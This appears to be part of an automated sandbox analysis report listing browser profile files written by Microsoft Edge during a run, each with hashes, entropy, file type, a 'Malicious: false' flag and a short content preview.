SSDEEP:	384:L/2qOB1nxCkMeSA1LyKOMq+8iP5GDHP/0jMVum6:Kq+n0Je91LyKOMq+8iP5GLP/0D
MD5:	32A80D29685D95B6A76D50D77D832B50
SHA1:	ED5D67E36DE051DCC4E8548AB6BEADFB9F25B423
SHA-256:	38CA1EEBF86EC58CC963FD24D04DE782109758E4A3791D578956E9190672EDA4
SHA-512:	819C85CFB64C667715D020009597B6ED9C7BB72C51A759B1E512E705B9987D2D1C64A195CA7CED6AFDE3825611EC374AB308465DAFB90433A6019D88F0E5420E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46711632923964547
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0lQ:v7doKsKuKZKlZNmu46yjx0G
MD5:	7B182A9122E487AA333E2087EF1D9371
SHA1:	AEED0D403C8F312626448F866ACB19CC15F720E7
SHA-256:	7B73DCC1F100B45253A1A44C6602F9F9D80AE31B78248E8A73A61EB5807CAFDF
SHA-512:	AFBDD4B68F6966C0EE2D72410EBB55F3C3AE084423E66F218F642A1230D829E2D083EBA9633F5E744CF3E9038240448847AEED31484A79C93FF5079EB43C2334
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a324cedf-6834-4bf7-8d70-efd83c554299.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bedc7775-a463-4dd6-b965-33975867557e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566068135776729
Encrypted:	false
SSDEEP:	768:ggguqBW+DW5wKkf4tg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP4MIzoqCrwXd0p3tH:g7BBNDWaKkfUgu1ja1p7ntMtH
MD5:	1FB973E59E7C6FEAAB16B3CC0CBBAAF7
SHA1:	D68F106A8C4285998DDB70FBF94FB0547AC521B8
SHA-256:	26BFC95415C63BB032C484DD971B6C43039581AEE6ECAC65FEDB21BF647C3396
SHA-512:	67C01C78607747029B7F20EF0C2F3D86C7F70A029D59C066B182ACE7E3DE749E4349EC9B03F411A29050C50ED7FBE7256F99D0ECE85D297BC7B029E9361E6A92
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377108692449849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377108692449849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\daff34cc-84bf-4ce6-9dcc-ab432b05077e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17601), with no line terminators
Category:	dropped
Size (bytes):	17609
Entropy (8bit):	5.4894462235196295
Encrypted:	false
SSDEEP:	384:stMPGQSu4JsK1QCD4XCnz69VPbGgQwE3y:sWOXuY1QCYBbGv5y
MD5:	DA84234CABA0281BEE73C05D6C21C996
SHA1:	E41B7868107FB4AE7B9182F4620AAD1EEE5D8564
SHA-256:	72FDD028C1E92B82375239C21D01BB5D8B672170FBCB38CA9A2B9D331AD9743D
SHA-512:	D7644B8E412C98B2F9CBB62792FDDAD346475578D030B55043F7A8DA267977C2653CCE738768D24994E909524CC62092D25750407E81015937C2C55FAB9F7820
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10261748214866881
Encrypted:	false
SSDEEP:	6:Gu0htrXu0htrA89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl0:+LMspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	84A667BB35F98AE39760CE01C88C8DBD
SHA1:	451E34A682D3FD7D2E511B6D19E7A43609DF4D2C
SHA-256:	A9810E21BD8FA8B66F0CF599D4840AE5F150C2636DA1D1EF9EE0AFD351AA8522
SHA-512:	73AC0330A191F2DF487384C75C53C280095C82C2534FC0A318CD4F8C38ECAE5E04F29BB5B50168C4BF5202E5B2E34028E70D197FBA4F1480F63D8FAE26473AB6
Malicious:	false
Preview:	..-.............M........y......$J...V..V.rf......-.............M........y......$J...V..V.rf............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8917970862223057
Encrypted:	false
SSDEEP:	384:W2b9KAVWzIPWizGrtxk7Zks06oyeU148v8FyySy+/yFyS6ydxyJP:36Eu4wDTQ
MD5:	7548788961555859BA17055BBB24F645
SHA1:	E3BDA871E11888EEFA0B5ADE7888FE6FC23450A4
SHA-256:	65FC15B1137922F0BD032CC5067789D9E33D3CD6E8C2C202AF412BCBE625F2BD
SHA-512:	95A45993035C02241AC225F2398DBE7D33C0AC410AD5AD3204B3429A7C8D9265F71385D1A31FC6B4C1093B717A110305FC4ABE1A1F698F8ECFE056BF0C4E2B2A
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5325255516011147
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuKllM/i8q:pHaypl2q
MD5:	DFBFA6E63F1CCD28808424F68214B44D
SHA1:	061C4E89F2CEAD3FCDC9543A777DE582BFCA701F
SHA-256:	5C064AD5BB13325CC28EB3601A757459183520CAD6E89D5FE5D8F0E8127C71CD
SHA-512:	3E678EDCD008F5F16E2F7E4183597E4063796186A48757A86F9C9E8F48DF85267C65370FD20CFA55F757748E44F8888C2A5BCFEE9FCF32B74F45C14B5AA65546
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................\.;...............#38_h.......6.Z..W.F.....Vz......Vz..........V.e................*...0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.179284537743767
Encrypted:	false
SSDEEP:	6:HN1q2PN723oH+TcwtfrK+IFUt8YNqeFZZmw+YNqeFzkwON723oH+TcwtfrUeLJ:t1vVaYeb23FUt8uqO/+uqi5OaYeb3J
MD5:	A38EBD5D1C46F98CE821D83394B29520
SHA1:	4635619A798229A4CB76B4EBA5F28520E2EC9191
SHA-256:	CBEC2D452D29C2AC20CBB3218E845F99F6AD308B1C733B53C11C6A826CF473E2
SHA-512:	4D862478B864CD15291616240A07EEA280E44153F037BF98F0C7B5C595AFFD4BBFA86A1B38F88C61EC4E0819C2B8C4AC25599BFEA161662119AEB81FDF6D1F59
Malicious:	false
Preview:	2024/11/26-10:31:33.136 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/26-10:31:33.137 1e54 Recovering log #3.2024/11/26-10:31:33.137 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.179284537743767
Encrypted:	false
SSDEEP:	6:HN1q2PN723oH+TcwtfrK+IFUt8YNqeFZZmw+YNqeFzkwON723oH+TcwtfrUeLJ:t1vVaYeb23FUt8uqO/+uqi5OaYeb3J
MD5:	A38EBD5D1C46F98CE821D83394B29520
SHA1:	4635619A798229A4CB76B4EBA5F28520E2EC9191
SHA-256:	CBEC2D452D29C2AC20CBB3218E845F99F6AD308B1C733B53C11C6A826CF473E2
SHA-512:	4D862478B864CD15291616240A07EEA280E44153F037BF98F0C7B5C595AFFD4BBFA86A1B38F88C61EC4E0819C2B8C4AC25599BFEA161662119AEB81FDF6D1F59
Malicious:	false
Preview:	2024/11/26-10:31:33.136 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/26-10:31:33.137 1e54 Recovering log #3.2024/11/26-10:31:33.137 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.14835543764285
Encrypted:	false
SSDEEP:	6:HNfFaIq2PN723oH+TcwtfrzAdIFUt8YNfAAZmw+YNfAokwON723oH+TcwtfrzILJ:ttaIvVaYeb9FUt8uj/+u55OaYeb2J
MD5:	59FD6E54F0972FC04CFAEFCBE97D5002
SHA1:	D0E07FDEF457B135A352CC8982DD0F821B03DD31
SHA-256:	C86D3487257ED0411CD6E5E98F88134D38EE42B92D3D6B7B863725F919E57769
SHA-512:	2E070236A16187E52C9DCA01DA4DA7E6A14DFB2BB1CDD671B602B24EBF0C828DB83CF985B47E0846EE3542C7851121CCC1EE0E73538136EF4D20F373F83B6C04
Malicious:	false
Preview:	2024/11/26-10:31:33.060 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/26-10:31:33.061 1e54 Recovering log #3.2024/11/26-10:31:33.061 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.14835543764285
Encrypted:	false
SSDEEP:	6:HNfFaIq2PN723oH+TcwtfrzAdIFUt8YNfAAZmw+YNfAokwON723oH+TcwtfrzILJ:ttaIvVaYeb9FUt8uj/+u55OaYeb2J
MD5:	59FD6E54F0972FC04CFAEFCBE97D5002
SHA1:	D0E07FDEF457B135A352CC8982DD0F821B03DD31
SHA-256:	C86D3487257ED0411CD6E5E98F88134D38EE42B92D3D6B7B863725F919E57769
SHA-512:	2E070236A16187E52C9DCA01DA4DA7E6A14DFB2BB1CDD671B602B24EBF0C828DB83CF985B47E0846EE3542C7851121CCC1EE0E73538136EF4D20F373F83B6C04
Malicious:	false
Preview:	2024/11/26-10:31:33.060 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/26-10:31:33.061 1e54 Recovering log #3.2024/11/26-10:31:33.061 1e54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a682.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a692.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a8a5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
